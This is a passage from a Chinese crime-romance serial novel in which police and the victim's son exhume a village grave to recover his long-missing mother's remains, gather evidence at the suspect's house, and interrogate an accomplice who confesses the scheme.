路崇宁把他拽回去,走出柜台,把梁喜带到一处空桌。
“怎么了?不太高兴?”
路崇宁歪头看梁喜。
“你是不是找周靖哲了?”
“他跟你说的?”
梁喜摇头,“我猜的。”
路崇宁又起身,弄了一杯柠檬水回来递给梁喜,坐下说:“我给他看了之前的视频。”
“没动手?”
路崇宁笑笑,“动了。”
轻飘飘两个字,像打蚊子一样简单。
梁喜拉过他手,左看右看,发现关节有几处擦伤,还好不严重,“干嘛打他?为那种人不值当。”
路崇宁见柠檬水没动,端起来放到梁喜手中,“不想让你受欺负。”
指甲抠着杯子,“我没事。”
明明
心里委屈,可她不想说。
路崇宁的视线从水杯移到梁喜脸上,“你以前上学的时候不是挺厉害的吗?怎么工作了反而畏手畏脚呢?这件事本身就是周靖哲的错,他要为自己的行为负责。”
梁喜笑得无奈,“我哪里厉害,只会欺负你和信航,窝里横。”
路崇宁摸摸她头,“饿不饿?”
“不饿。”梁喜说出自己的担心,“周靖哲不会告你吧?”
“随便,他要是不想在黑陶圈混想告就告,我奉陪。”
“你怎么一点不害怕?”
路崇宁淡然且无畏,“怕什么,和那些追着我打的债主相比他嫩多了。”
梁喜不可自控想起那段,路崇宁被打的情景历历在目,虽然过了很多年,依然清晰。
“我要是被抓起来,你会去看我吗?”
“不会。”
梁喜知道路崇宁开玩笑。
“这么无情?”
梁喜喝着柠檬水斜睨他,杯子拿开,她说:“你前脚进去后脚我就换人。”
路崇宁笑了声,“你不会。”
那五年就是最好的证明。
梁喜后知后觉路崇宁什么意思,指着他手,说:“别沾水。”
“我戴手套。”
“行,你忙吧,我回家了。”
“打车回去。”
“没事,坐公交。”
路崇宁把她送到门口,常涛也从柜台出来,“回去啊?”
“嗯。”梁喜冲他笑笑。
常涛要跟着送客,被路崇宁拦住,“你忙你的。”
“没事,又没客人,我送送梁喜,好不容易来一次。”
路崇宁把常涛往回推,门关上,常涛摸摸后脑勺,耸拉着脑袋回柜台了。
“你也回去吧,bye bye。”
梁喜走得快,路崇宁张嘴还没回话她已经走出好几米了。
回屋路崇宁迎头便撞见常涛盯着他满脸坏笑,“你说实话,梁喜是你妹吗?”
“以前是。”路崇宁如实交代,“现在是女朋友。”
“我说呢!每次她来,你一分钟看人家八百遍。”
路崇宁眨眨眼,像在认真核实次数,“没那么夸张吧?”
“嘁!”
路崇宁打开水龙头,洗洗手继续干活
立冬这天,刘俊华乘飞机飞往广州,路崇宁送他到机场。
路上他跟路崇宁说:“工地要明年春天暖和了才开工,你休息一段时间吧,出去玩玩,工资照常开。”
“我在家待着也没事,还是上班吧,多学点东西。”
后面一句刘俊华爱听,“你要不想休的话也行,常总经常出差,你正好帮我看着点公司。”
“嗯,有事我及时跟你汇报。”
送走刘俊华,路崇宁立刻给信航发信息,“明天全公司开部门周会,曲天明也会参加。”
信航收到信息后当天中午,他带着梁喜还有孟相帆抵达全喜村,这次他们来特意避过从村子穿行,而是从水库那边绕到山脚,虽然绕远,但保险。
下车后孟相帆仰头望着灰突突的山,问:“喜喜,你们工作室以前来这取过土吗?”
梁喜正从后备箱往出取工具,沉闷的一声“没有”,像扣在后备箱里一样。
“啊?”孟相帆有点急了,“那咱们贸然过来不会引人怀疑吗?”
信航接话:“大冬天的,村里人谁没事往山上跑。”
梁喜手里的工具箱被孟相帆接过去,她说:“我之前和路崇宁还有信航来过一次,这边山上的土是黄土,兴许还真能用上。”
工作室平时取土都是去化城西边,那里的黄土很细腻,适合做黑陶,有工人专门拉回来,具体位置梁喜还真不知道,但她了解土质,上次来喜山没怎么细看,这次趁有任务在身,顺便研究一下。
本来有关杨婉仪失踪案重启的事信航和路崇宁一直瞒着梁喜,但她没那么好糊弄,通过各种细节隐约猜到一些,最后软硬皆施,逼得信航没办法,只透露了一些大框,而透露的具体原因是想找梁喜帮忙,来喜山勘查需要一个正当由头,这个由头需要她来协助完成。
梁喜发给孟相帆一个铲子,说:“你随便挖几下做做样子,跟在我旁边,别走远。”
孟相帆感觉两人的角色配置好像反了,明明他应该是保护梁喜的那位。
“我呢?”信航问。
“你也要铲子吗?”
“当然!”
梁喜又递给他一个,信航接过,说:“并不一定在山坡或者山顶,每年降雨,泥土往下流失,而且春夏秋都有人上山,被发现的几率很大,我还是偏向山脚。”
孟相帆忽然想起什么,问:“不是有种训练过的警犬,能靠闻气味找到尸骨吗?”
信航朝他后背拍了一掌,“行啊!懂得挺多,那种警犬化城小地方没有,不过已经跟上面申请了,我这不是着急嘛,想先过来看看,万一能有收获呢。”
孟相帆摩拳擦掌,嘴呼白气,“行,那就着重在山脚,开干!”
这一天从中午到傍晚,三个人认真寻找,累得快直不起腰了还是一无所获,幸好今天温度不算低,太阳照到的地方有些许暖意,找一会儿就去车里暖和,然后出来继续,但冬天天黑早,这会儿还不到六点就已进入蓝调时刻。
“走吧,该回去了。”
信航说完站起来四处环顾,视线越过一侧枯枝看向右边,那一片是全喜村的祖坟,在蓝调光影下透着一股子阴森,和上次他们来时天差地别。
孟相帆也看见了,“卧槽”一声后退,着实吓着了。
他见梁喜不动,说:“你胆子挺大呀!”
“之前见过,有心理准备。”
“敢情就瞒我一人啊!”
他俩说话间信航站在原地一动不动,眼睛还盯着那片墓地,眉头紧皱,若有所思。
第73章 第七十三章 祖坟藏有端倪。……
从山上回来信航立刻又跟马有平进行一次谈话, 队里为她安排的房子二十四小时有人看着,目前没发现异常。
马有平状态好了很多,队里一位女同事常陪她聊天, 宽慰她, 还告诉她现在的生活有多便利,外面的世界丰富多彩, 等坏人抓到, 她就可以走出去, 过正常人的生活。
信航递给马有平一杯热水, 说:“你比我大, 我叫你平姐可以吗?”
虽说身处警局以外的地方,可马有平还是有点拘谨,“叫什么都行。”
“平姐, 我知道那段回忆对你来说挺痛苦的,目前还没找到杨婉仪的尸体,所以我想请你再回忆回忆,能不能提供一下新线索。”
马有平眼前闪过一些画面, “能想起来的我都跟你们说了, 你们去山里找过了吗?”
“初步搜查没搜到。”
信航说出自己的猜测, “有没有可能是水库附近?”
马有平摇头, “距离不对, 全喜村离喜山比水库近, 那么短的时间肯定不是水库,我听见了铁锹挖土的声音, 再加上风吹树叶和鸟叫,肯定是山里。”
信航问:“你哥从车上搬下尸体到你听见挖土声大概间隔多久?”
“也就几分钟。”
几分钟,即便一个身体状况正常的男人也没法将尸体搬离太远, 看来在山脚下大差不差。
范围锁定那就好办了,信航跟马有平道谢,起身要走,马有平忽然叫住他,“拜托你们一定要找到婉仪姐。”
“会的。”
“善恶有报,希望你们将他绳之以法,等一切都了结了,我也想去看看周围的生活,看看世界变成了什么样子。”
“放心,一定让你如愿以偿。”
锁定范围后信航回队集合人手,还有上面特批的警犬,但搜救一圈之后警犬狂吠的地方竟然是全喜村的祖坟。
这下不好办了。
东北很多农村还保留着土葬习俗,墓地里全是尸骨,有的有墓碑,有的没有,怎么能确定杨婉仪的尸骨在里面?更别提确定在哪一座坟墓里
就在大家迷惑的时候警犬对着最外圈一个
坟墓又一阵狂吠,信航走过去,看见墓碑上写着“赵宝全”的名字,他没听过,更不认识。
望着一个个坟冢,全队人都沉默了,而打破沉默的人是全喜村的村长。
对着轮胎摩擦地面的声音,一辆黑色捷达开过来,车停下后四个人陆续下车,打头的便是村长,在他们身后还有几辆摩托车,看样子都是全喜村的村民。
信航最担心的事情发生了,一旦村民干预,肯定会复杂很多。
村长笑着走到信航跟前,问:“小信警官,你们这是办案子吗?”
“有个情况过来核实一下,刘书记你们过来是”
“啊,有村民跟我反应,说看见一帮人进了山,我作为村长得过来看看怎么回事,你是不知道,上一任村长背着村民把山卖了,闹了好一阵呢,可得警惕!”
“放心,人民警察不会卖你们的山。”
信航说到这扫了一眼刘书记身后的村民,他们各个眼神充满戒备,很不友好,像要把他们全部赶走一样。
现下哪种情况还确定不了,但杨婉仪的尸体如果就在附近,最好赶在土被冻结实之前找到尸骨,万一大降温就不好挖了。
不过这还是小事,最重要的问题,村民和村长那关不好过,毕竟他们整个村子都受着马有原的恩惠,尤其在修葺祖坟这件事上,所以刘俊华什么都不用做,只需要以马有原的身份发声,制止挖坟行为,那些村民一定会听,届时真要闹起来民声鼎沸,哪个领导也顶不住这种压力。
怎么办?同事们面面相觑,信航对村长说:“刘书记,我们正常办案,你放心,天冷,回去吧。”
刘书记没动,他看向祖坟,说:“只要不砍树,不抓野生动物,你们随便折腾,噢对了,我们村的祖坟一个都不能动。”
信航刚要说什么,刘书记打断他,“小警官别说我们迷信啊,村里的老祖宗都在这呢,外人不在乎,我们自己得敬着,所以你们忙你们的,我们在祖坟这守着,绝不干扰你们办案,放心!”
刘书记说完在信航肩膀拍了两下,皮笑肉不笑。
“我没说要动你们祖坟,刘书记,你这么紧张干什么?难不成里面埋了什么违法的东西吗?”
“哪能啊,善意提醒,别误会。”
眼下不能硬碰硬,信航往后退一步,“我们挖祖坟旁边可以吧?绝不往里多挖一寸。”
刘书记盯着信航看了半天,挤出一丝笑,“行啊,挖完把坑填回去就行。”
说话把村民叫过来,几人站一排横在祖坟面前,用身体划界。
信航带着同事们开始挖,顿时山里回响铁掀碰撞泥土砂石的声音,一下一下,尽可能靠近警犬发现的地方,凿得刘书记脑仁疼。
只是挖了很久只挖到一些草根和树根,直至挖到村民脚下,一块貌似衣服残片的布料显露出来,农村的死者下葬都有棺材,不会直接推尸进坑,所以像今天直接挖到衣服残片的情况几乎不可能发生。
信航想再往里挖一点试试,看能不能挖到尸骨,谁知刘书记“诶!”一声跳到坑中,“小警官,可不能再挖了,你们已经越界了哈,再挖绝对破坏我们全喜村的祖坟风水。”
刘书记闹这么一出,其它村民也跟着跳下坑,吵吵嚷嚷,绝不相让的气势。
信航发现他们不管怎么吵闹绝不伸手,因为一旦碰着警察极有可能背负袭警的罪名,到时信航他们就可以化被动为主动,可现在信航总觉得刘书记背后有高人指点。
信航从坑里出去,试图和村民讲道理,“警察办案,还望大家配合,不要妨碍公务,我在这先感谢大家了!”
见一帮人不为所动,信航又看向左边,“刘书记,你作为一村之长,得起个带头作用吧?”
刘书记往旁边挪了一步,指着几位村民说:“我也想起带头作用,可是你看看,你们要动的是祖坟,不是谁家的田间地头,如果是我家的农田和菜园子,你们翻个底朝天我都乐意配合,关键祖坟和田地不一样啊!”
仔细想想是这个道理,当民意和办案流程发生冲突,硬碰硬肯定不是解决问题的最好办法。
信航说:“那我们留两个人在这值守,其他人先撤。”
刘书记不解,“值守?”
“正常办案流程。”
刘书记给旁边人使眼色,那人拍拍胸脯,说:“我们也值守,祖坟是大事,马虎不得。”
刘书记这一系列举动更加印证了信航的猜测,他转身对郭超说:“你回去帮我取个帐篷还有一些生活用品。”
郭超犯难,“你要睡这啊?!”
“去吧,我挺得住。”
“行,我快去快回。”
信航伏在郭超耳边又说了句什么,他点点头带人离开。
大部队撤走,骑摩托车的村民跟在警车后面驶离喜山,刘书记见状心里的石头终于落地,他走到信航旁边,“小信,对不住啊,我是村长,得优先为村里人考虑。”
信航冻得嘶嘶哈哈,掏出烟盒,自己叼一根,又递给刘书记一根,火点着,一口吸进去暖和不少,“你我都是站在自己的职责上思考问题,还是交给领导们解决吧。”
信航刚才让郭超回去找领导协调了,上面亲自派人或者有命令下来,刘书记必须配合,由他自己去做村民的工作,但如果他不做,或者有意表里不一,那马有原跟他一定存在利益勾结,
“小信啊,你这不是难为叔吗?一边是领导,一边是村民,我怎么办?”
“所以啊,各有各的难处,咱们相互体谅。”
刘书记裹了口烟,问:“你们到底查什么案子啊?方便透露透露吗?”
“有纪律,不能说。”
“我们村里人可都是遵纪守法的好公民。”
“放心,不会冤枉任何一个好人。”
“行吧,我去解个手。”
刘书记刚要走,信航叫住他,“你现在做什么可要三思而后行啊。”
刘书记装傻,“你啥意思?”
“没意思,您忙。”
信航知道即便阻拦刘书记,全喜村还有那么多人,说不定谁就是马有原的眼线,通风报信在所难免。
刘书记转身往后面山坡走去,爬了一段,回头望向信航那边,确认安全后他躲到一颗隐蔽的树后给曲天明打电话。
“喂,小曲,有几个警察来喜山,说是办案。”
“办什么案知道吗?”
“不知道,他们弄了一条警犬,在祖坟附近好像闻到了什么。”
“看好祖坟,谁也不许动,那是整个全喜村的好风水,更是马总的好风水,真要被破坏了,以后马总赚不到钱,拿什么给全喜村捐款。”
“我知道,他们是警察,不敢和老百姓过不去,村里人都听我的,放心吧。”
刘书记说话时一直望着信航那边,生怕他突然窜过来。
“对了,马总说年后要捐一笔钱给全喜村建个老年活动中心,可以让村里老人下棋,打乒乓球,锻炼身体,能干好多事呢,到时候还是按照老样子,捐款你来管理,其中百分之十作为你的管理费,快点把这个活动中心建起来,为村民谋福利。”
刘书记一听高兴坏了,嘴角快咧到耳边,“那敢情好啊,替我谢谢马总,真是个大善人。”
挂断电话,刘书记小跑下山坡,回到帐篷跟村里人唠嗑
两个小时后郭超返回山脚,和他同时过来的还有几位同事,加上孟相帆、路崇宁和梁喜,大家分头行动,一辆车往山里,一辆车往村里。
刘书记那边的帐篷
已经搭起来了,有两人架锅开始煮面,香气飘到信航那边,他舔舔嘴角,还真有点饿。
郭超回来后走到信航身边,他问:“都来了吗?”
“来了。”
回去取东西只是一个幌子,信航说给村民听的,他真正让郭超干的事是去查杨婉仪遇害前几天内村里人都有谁去世,一共只有一家,名字叫“赵宝全”,他是赵浩的父亲,而赵浩就是孟相帆二舅的大名,所以信航才让孟相帆在中间沟通,说不定能成,路崇宁和梁喜在家坐不住,跟他一起赶来了。
这会儿天边聚集的云彩随风往中间靠拢,很快头上阴云密布,目测要下雪。
郭超望着天一脸担忧,“你说被害人的尸体真藏在那座坟墓下吗?”
信航读完资料放起来,说:“真不真要下手挖才知道。”
“要是挖完没有,那可热闹了。”
“大不了我给赵浩一家赔礼道歉。”
从他们被村民发现那一刻起或许刘俊华就知道了,但身在广州的他既没有购买出境机票,也没有要跑的意思,匪夷所思,难道这一切都是马有平的疯言疯语吗?
第74章 第七十四章 找到杨婉仪尸骨。……
雪从下午两点开始下, 越下越大,到处白茫茫一片,白天看着清晰的坟冢现在却混淆不清, 远远望去都差不多。
孟相帆开车过来, 几人下车后路崇宁直奔赵宝全的坟墓,但没等看清就被村民拦住。
孟相帆把赵浩带到信航面前, 介绍说:“这位是我二舅, 赵浩。”
信航客气跟他握手, “二舅, 给您添麻烦了。”
“唉。”赵浩看了一眼不远处的路崇宁, “本来我不想打扰我爸死后安宁,可是那孩子”
细节二舅没讲出口,他说:“人心都是肉长的, 要真能找到他妈的尸骨,让他带回去跟他爸合葬也算做善事,我家老爷子会原谅我的。”
孟相帆耳边回响路崇宁求赵浩答应时说的话,“我和相帆一样, 叫您二舅吧, 二舅, 我十四岁那年, 我爸在杨家镇自杀, 我妈随后失踪, 我今年二十六,找了我妈十二年, 一个叔叔为了查我爸妈一死一失踪的真相,把自己也搭进去了,现在好不容易又有了一些新线索, 如果找到我妈的尸骨,那么杀她的人”
路崇宁说到这有些哽咽,而一旁的梁喜已经落泪。
“杀她的人就能被绳之以法,所以我想求得您的同意。”
路崇宁说完深深给赵浩鞠了一躬,他还没等说什么,二舅妈看不下去了,赶忙扶路崇宁,可他不动,等着赵浩答复,最终,赵浩答应了路崇宁的请求,随他们仨前往喜山。
这时一辆吊车开过来,开吊车的司机看着岁数不大,嘴里叼着小烟,把车靠在一旁什么也不问,等信航他们发话。
“赵浩!”
一个村民大喊一声,“你是不是忘本了?”
随即那几个一起冲上来,你一言我一语,翻来覆去意思差不多,马总对全喜村每个人都有恩,马总交代谁也不能动祖坟,否则会破坏风水,赚不到钱。
赵浩和马有原曾是同学,如今地位悬殊这么大他心里多少有点不平衡,而且他家并没直接受过马有原的恩惠,所以更加坚持自己的想法,“我家的坟我自己说了算,再说配合警察办案是每个人应尽的义务!”
得到赵浩应允,信航带人着手开始挖,路崇宁不能上前干扰,梁喜怕他情绪激动,抓着他退到一旁。
路崇宁紧紧攥着梁喜的手,而视线则一直盯着赵宝全的坟墓,生怕错过什么,雪花落在他的头发,肩头,梁喜不禁想起那年冬天他被债主殴打,去医院的路上也是这样落了一身雪。
或许对于他,离开故乡走出去境遇会好一些,可这里始终有根线拽着他,如果弄不清楚,一辈子梗在心里,过不去,变成了死结。
那几个村民还想上前阻止,但被警察拦住,信航喊话说:“再往前不是袭警就是妨碍公务,我可以依律将你们全都铐回去!”
“吓唬谁呢?”
一个村民嘴上嘟嘟囔囔,但没敢往前,见信航掏出手铐甚至还往后退了两步,手铐闪着银光,村民们的气势一下萎了,包括刘书记。
坟冢封土铲平,露出里面的棺材,漆黑的外观透着一股子肃穆,不清楚棺材用什么木头做的,但看起来很结实。
为尊重逝者,起吊前大家对着棺材深深鞠了一躬,也包括梁喜和路崇宁,鞠完躬信航冲开吊车的小伙一招手,他戴上手套开过来,吊绳在棺材四角套好后被吊车稳稳吊起来放到一旁空地上,很快便落了一层轻薄的雪。
雪花可以覆盖目之所及的一切,但掩盖不了真相,即将揭晓的真相。
信航他们将墓地周围拉了一圈警戒线,站在边上往下看,棺材下方的土被压实了,但隐约能看见痕迹,法医同事跳下坑开始处理现场。
之前刘书记还以为信航他们只是小打小闹,见到和电视剧里差不多的阵仗有些坐不住了,他开始思考如何自保。
“来,大家听我说,既然确实有情况,咱们好好配合警方,把你们那些坐地户脾气收一收哈!”
几位村民被刘书记逆转的态度搞得一愣一愣,其中一位凑到刘书记跟前,说:“马总不是不让动吗?”
刘书记瞪他一眼,“都啥时候了还马总?能不能分清大小王?!”
梁喜和路崇宁走到警戒线边上往里看,但距离远,看不清什么,路崇宁对孟相帆说:“你带二舅还有喜喜去车里,外面冷。”
“我没事。”梁喜执意要陪路崇宁。
孟相帆看了眼二舅,摇摇头,说:“别管了,他有自己要做的事。”
只见赵浩将从家里带来的一捆烧纸解开,蹲在他爸棺材前开始烧,本来人家同意吊出棺材已属仁至义尽,他要烧纸别人无权干涉。
烧纸的灰烬被风刮起来,没有方向地乱飞,和从天而降的白雪搅和一起,像为离世的人奏一首悲鸣的挽歌。
路崇宁走到赵浩旁边蹲下,拿了几张烧纸放进火堆,望着向上蹿腾的火焰,他说:“对不起”
赵浩口呼白气,“唉”了一声,“老爷子活着的时候唯一的爱好就是看中医方面的书,身子有什么不舒服的就自己配药来吃,你别说,小来小去的病还真被他治好了,有一回他牙疼,我当时正在田里放水,诶?你知道咱们东北的水田吗?几家共用一个地下水井,有时抽水得抽一整晚,他又给自己配药,这回不行了,吃中毒了,第二天早上五点我回家,看见我爸还躺在炕上,他岁数大觉少,平时四点半准点醒,我叫他,他没动静,当时我心想,完了。”
赵浩继续往火堆上添纸,“爸,你帮帮这孩子,他家有个坎,咱们陪他一起把这个坎过了,等过年的时候我再给你多烧点。”
“谢谢。”路崇宁看着老爷子的棺材,郑重地说了一声。
风雪过境的土地寒冷孤寂,可在这片土地上生活的一些人却深情浩荡,潇洒中不失温良,路崇宁为自己感到幸运,因为这样的人他遇到了
随着尸骨逐渐清理出来,法医简单叙述现场情况,从骨骼判断这具尸骨是位女性,而且已经完全呈白骨化,死亡时间至少十年,颅骨处有凹陷,脑后还有一个细小的圆孔,极有可能是致命伤。
一枚放进物证袋的玉镯被信航拿过去递给路崇宁,跟他求证,“请你仔细辨认一下,是死者杨婉仪的吗?”
人多,信航特意跟路崇宁这么说话。
梁喜看见玉镯后心头一惊,方才缓和的情绪再次涌上来,虽然玉镯已经断裂成两半,但依然眼熟,那是路召庆家传的,结婚前送给杨婉仪,她一直戴着,从未摘下,跟她亲近的人差不多都见过。
现场没有人比路崇宁更熟悉这枚玉镯,他拿到手盯着看了半天,才缓缓回答:“是。”
尘埃落定的一声,再没有回旋之力,再没有希望可言。
或许这一声太过沉重,枝头麻雀忽然惊起,成群从墓地上飞过,似一张黑色的网,笼罩世间凡人的疾苦和哀鸣。
顶着茫茫大雪,路崇宁跪在冻土之上,手里捏着杨婉仪戴了很多年的玉镯,悲哀在胸腔郁
结,两行泪从脸上掉落,落在玉镯上,转瞬冻成冰晶。
在场人看见路崇宁朝尸骨方向下跪,心里都不太好受,包括那几个村民,人心善恶有度,没有绝对的善,也没有绝对的恶,所以就连刘书记看了也为之动容。
“刘书记。”一个村民走动他跟前,说:“人命大过天,回头咱们亲自给马总赔不是吧,马叔活着的时候咱们对他不错,马总是孝子,看在马叔的份上,不能太怪我们。”
刘书记眨眨眼,他有预感,这个村支书算当到头了
孟相帆和梁喜一直陪在路崇宁身边,而信航却不见了。
原来那批撤走的警察和巡犬并不是真的离开,而是悄悄去了马有原家的老房子,在他们赶到时这栋房子刚刚经历了一场小型火灾,纵火人早跑了,灭火的人是马有平和队里女同事,还有附近村民。
这个房子很多年没人住了,墙上已出现数道裂痕,靠近窗边墙上的画已经被晒得掉了色,几乎看不出原来图案,除此之外都是一些陈年物件,厨房的炊具甚至还在,只是上锈严重,墙面四角挂了一层厚厚的灰网,蔓延各个角落。
信航赶到的时候队里几位同事正带着马有平还原当时马有原的犯罪现场,看还能不能找到直接证据。
据马有平描述,马有原本来要带杨婉仪去广州,已经说好了,但不知道因为什么,出发前一天发生争执,听到争吵声马有平没敢过去,直到听见“砰”地一声,,当时两人在里面小屋,马有平在旁边大屋,所以勘查的重点也在小屋,她不知道马有原的作案凶器,只知道杨婉仪头部受伤,流了好多血,应该是导致她直接死亡的原因。
相比大屋物品的随意摆放,小屋像是被整理过,物品摆放规整,虽然落满了灰,但不难看出有序,只是下午那场火的起火点正是小屋一角,床上的被子被烧得黑乎乎的,但好在抢救及时,没全烧光。
信航问在场同事,“看见纵火人了吗?”
“没有,来的时候现场没生人。”
信航又问马有平,“案发后你和你哥有谁收拾屋子了吗?”
“我没有,我哥收没收拾不知道,当时他把婉仪姐埋了之后连夜带我离开全喜村,把我安排进精神病院后他有没有再返回村子我不清楚。”
看来还是要想办法撬开吴青的嘴。
这时一位同事对信航说:“刘俊华购买了明天一早飞日本的机票。”
马有平一脸疑惑地看向信航,他犹豫了下,说:“马有原改名了,叫刘俊华,他已经放弃了原来的名字。”
马有平听了苦笑一声,“我爸妈没什么文化,他们一辈子种田,接触的只有这一方天地,他们希望我哥有田种,不挨饿,希望我平平安安,既然他连名字都不要,就再也不是我们马家后人。”
几位同事在小屋忙着收集证物,忽然一位同事在衣柜下面发现了一枚陶瓷残片,上面似乎有丁点类似血的痕迹,时间太长,血迹估计化验不出什么,但如果真是当年的凶器碎片,肯定有用。
之后又陆续发现几块,根据陶瓷上面的图案判断,应该属于同一器物,而且在窗框上还发现一枚生锈的钉子,看形状与杨婉仪头骨上的圆孔很像。
看着一个个装进证物袋的碎片,信航肩上的担子似乎轻了一些,任何罪案终有硝烟散尽的一天,路家当年的劫难,也该有个了断了。
第75章 第七十五章 重要证据。
马家的房子周围拉满警戒线, 引得村里人议论纷纷,刘书记再怎么放话也挡不住悠悠众口,尤其是那几个亲临现场的村民, 每家屋里都挤了不少人, 他们跳过自己妨碍公务那一段,添油加醋讲得比谁都玄乎, 还说马有原肯定犯事了, 要不然他怎么发的家?从哪赚那么多钱?
这会儿马有原不再是“马总”, 也不再是大善人, 从来种种好处被抹得片甲不留, 变成了一个嫌疑犯。
疑似杨婉仪的尸骨运回队里,法医还要进一步检验,信航顾不上吃饭, 只啃了一块巧克力便进了审讯室。
他开门见山,把手里的视频打开放到吴青面前,“或许你想看这个。”
视频里的人正是吴青的儿子吴忧,他通过视频给他爸报平安, 说他已经离开广州了, 身边有人照顾, 现在很安全。
“刘俊华想拿儿子威胁你, 是吧?”
吴青抬头, 一副被说中的神情, 转瞬又低下头。
“你放心,吴忧现在在一个刘俊华不知道的地方, 总之很安全。”
吴青这才放下心来,说了声“谢谢。”
信航趁热打铁,“都到这地步了, 你还打算为他隐瞒吗?”
吴青揉了两下太阳穴,问:“能给我根烟吗?”
信航抽出一根递过去,给他点上。
吴青迫不及待吸了两口,终于下定决心一般,说:“当年我从化城到广州打工,在那边认识了刘俊华,也就是改名后的马有原,他那时已经结婚了,跟了一个五十几岁的富婆,没过多久富婆车祸离世,刘俊华继承了她全部财产,包括她的公司,刘俊华接手后越做越大,赚了不少钱,可能因为我算他半个老乡,对我不错,二零一三年他给了我一百五十万,让我回化城帮他做一件事。”
“什么事?”
“假装诚心投资路召庆的酒厂,然后制造假酒事故,并将这一切责任全都推到路召庆身上,他拿出全部存款后还背了几十万的债,被逼得没办法,带着他老婆躲到杨家镇,这还不算完,刘俊华用老婆孩子逼迫路召庆自杀,还抢走了他老婆,但是后来他却一个人回了广州,我当时就猜,可能那个女人被他杀了。”
信航:“你这么说有什么依据吗?”
“依据?这些年他一直未婚,那个女人再没出现过,难道还不明显吗?虽然是我猜的,但我和他心照不宣,默认彼此知情,虽然他一直在珠三角一带发展,但路召庆的酒厂和别墅其实归他所有,听说化城要大力发展林业新区,他觉得是个机会,所以从前年开始回来慢慢运作,拿下了政府项目,本可以大展拳脚,没想到当年的事竟然还有人查。”
吴青说到这实在想不通,问:“他做事一向小心,你们是怎么查到的?”
信航警告他,“继续说。”
吴青眼前闪过一个人的名字,“难不成梁辰义死之前跟你们透漏啥了吗?”
听到梁辰义的名字,信航佯装镇定,“刘云你应该不陌生吧?”
“擦!这个娘们儿!”
信航敲敲桌子,吴青被震得手一哆嗦,烟灰掉落,灰烬的颜色像极了他可以预示的后半生,无尽惨淡。
“梁辰义出狱后不是一直靠倒卖消息生活嘛,不知怎么就查到刘俊华在一四年初回过化城,这件事拐弯抹角传到了我这,我又告诉了刘俊华,他让我想办法阻止梁辰义继续往下查,本想用美人计,但梁辰义啥也不和刘云说,后来没等进一步下手梁辰义自己脑出血死了,连刘俊华都没想到,我寻思可能老天助他,毕竟他烧香拜佛捐了那么多香火钱,总算得到回报了。”
你管这叫回报?要不是因为自己是警察,信航真想一脚踹死他!
烟抽完了,吴青还想要,被信航瞪大的眼睛吓回去,“警官,关于路家差不多就是这些事。”
“你说的都是你的一面之词,不怕刘俊华反咬你一口吗?”
“我有录音!”
“在哪?”
“在”吴青似有难言之隐,吭哧半天才说:“在我女朋友那。”
信航并不意外他有婚外情,又问:“怎么拿到?”
“她在我公司楼下开了一间便利店,你们去找她,没有任何人知道我俩的关系,还请你们替我保密,别让我老婆儿子知道。”
这时郭超把信航叫出去,递给他一部手机。
“脸怎么了?”
信航发现他不
止脸上有伤,手背也包了纱布。
“害,没事,手机在马有原家后院捡到的,机主姓名叫“曲天明”,电话里有多通和刘俊华的通话记录。
“这个人不是被监控了吗?怎么跑去全喜村了?”
“咱们的人都撒出去,没顾上。”
还好火势不大,没烧到什么,要真的付之一炬,凶器也保不住。
“不过你放心,人我们已经找到了。”
“在哪找到的?”
郭超笑笑,“你兄弟小宁提供的地址,说那里可能是曲天明的藏身点,之前他偷偷跟过曲天明几回。”
“这小子你跟曲天明交手受的伤啊?”
“对,他挺能打,我们仨打他一个。”
“他俩受伤了吗?”
“没有,都在我这呢。”
“去好好查查,别有内伤。”
郭超摆摆手,“信航,你不觉得奇怪吗?”
“嗯?”
郭超说出自己的疑惑,“刘俊华完全有能力把房子拆掉,盖一座新房子,他为什么冒险留着作案现场呢?”
“你别忘了,他在全喜村立的是孝子人设,连祖坟都不让人动,怎么可能扒自家房子,他以为建一道高墙,加上村里人帮他看着就能高枕无忧,没想到漏掉那几块碎片。”
郭超点点头,信航让他派人马上去核实吴青女朋友那条线
从全喜村回到化城,孟相帆全程开车,路崇宁和梁喜坐在身后,路崇宁膝盖处因沾雪湿了一块,他一直望着窗外,一字不发,他不说,另外两位也不想打扰他。
信航叮嘱孟相帆,这几天他那边会很忙,希望孟相帆能陪着路崇宁,顺便帮忙照顾下梁喜,只是当孟相帆提出晚上要留宿的时候被路崇宁拒绝。
“我没事,你回信航那住吧。”
孟相帆不听他的,直接问梁喜要被子,梁喜看了路崇宁一眼,回屋打开衣柜。
“孟相帆,你过来。”
被子在最上面,梁喜拿不到,之前都是踩凳子,现在有现成的人,不用白不用。
可问题来了,孟相帆也够不到,路崇宁在卧室听见那俩人嘀嘀咕咕,走过去伸手把被子拿下来,扔到小床上,对孟相帆说:“你睡这。”
说完把梁喜拉回屋,他又去孟相帆那,门关得严实,说话声丝毫不透。
“小宁。”
孟相帆合上烟盒,想让路崇宁少抽点,他现在嗓子已经哑了。
路崇宁没听,抽出一根到窗边点上。
孟相帆也点了一根,走到他旁边,“尸骨是不是要做DNA检测才能最后下决断?”
“是吧。”
到这个地步任何安慰对路崇宁来说已经不起作用了。
“刘俊华会怀疑你吗?”
“可能吧,揪出他的人是吴青,我要是刘俊华,现在看身边谁都不可信。”
“你怎么知道曲天明的藏身之处?”
路崇宁冷笑一声,“我跟他在工地一起吃了那么多次饭,不是白吃的。”
相识这么多年,孟相帆第一次在路崇宁眼里见到狠厉和无尽的冷漠,他从小被爸妈教育走正道,别冒尖,本分生活,不过他完全能理解,家里经历那样的变故,路崇宁没有暗地把刘俊华怎么样已经算克制了。
“我要是你,在刘俊华面前肯定露马脚。”
路崇宁裹了口烟,说:“他逍遥了这些年,要不是梁叔发现端倪,或许他能瞒一辈子当我撑不住的时候我就想,再坚持坚持说不定就能找到真相,找到我妈的下落,他们生我养我,必须得给他们一个交代。”
眼前闪过第一次去喜山的情景,路崇宁没想到他曾经离他妈那么近,而他们也曾离真相那么近。
孟相帆说出自己的顾虑,“我怕刘俊华未必那么容易被抓到。”
“这种人即便身上不背人命,后路也早都想好了。”
“要不要问问信航?”
路崇宁摇头,“他们有自己的抓捕计划,我相信他。”
孟相帆把烟掐灭,“去睡觉吧,今天你累了一天。”
路崇宁闷闷应了声
不到十点卧室熄灯,窗帘拉着,屋里黑乎乎一片,可梁喜怎么都睡不着,路崇宁也一样。
他拽过被子给梁喜肩膀处掖聊了掖,问:“冷吗?”
“不冷。”梁喜拿腿碰他膝盖,“这疼不疼?”
“不疼。”
在雪地跪得再久路崇宁依然觉得对他妈有愧
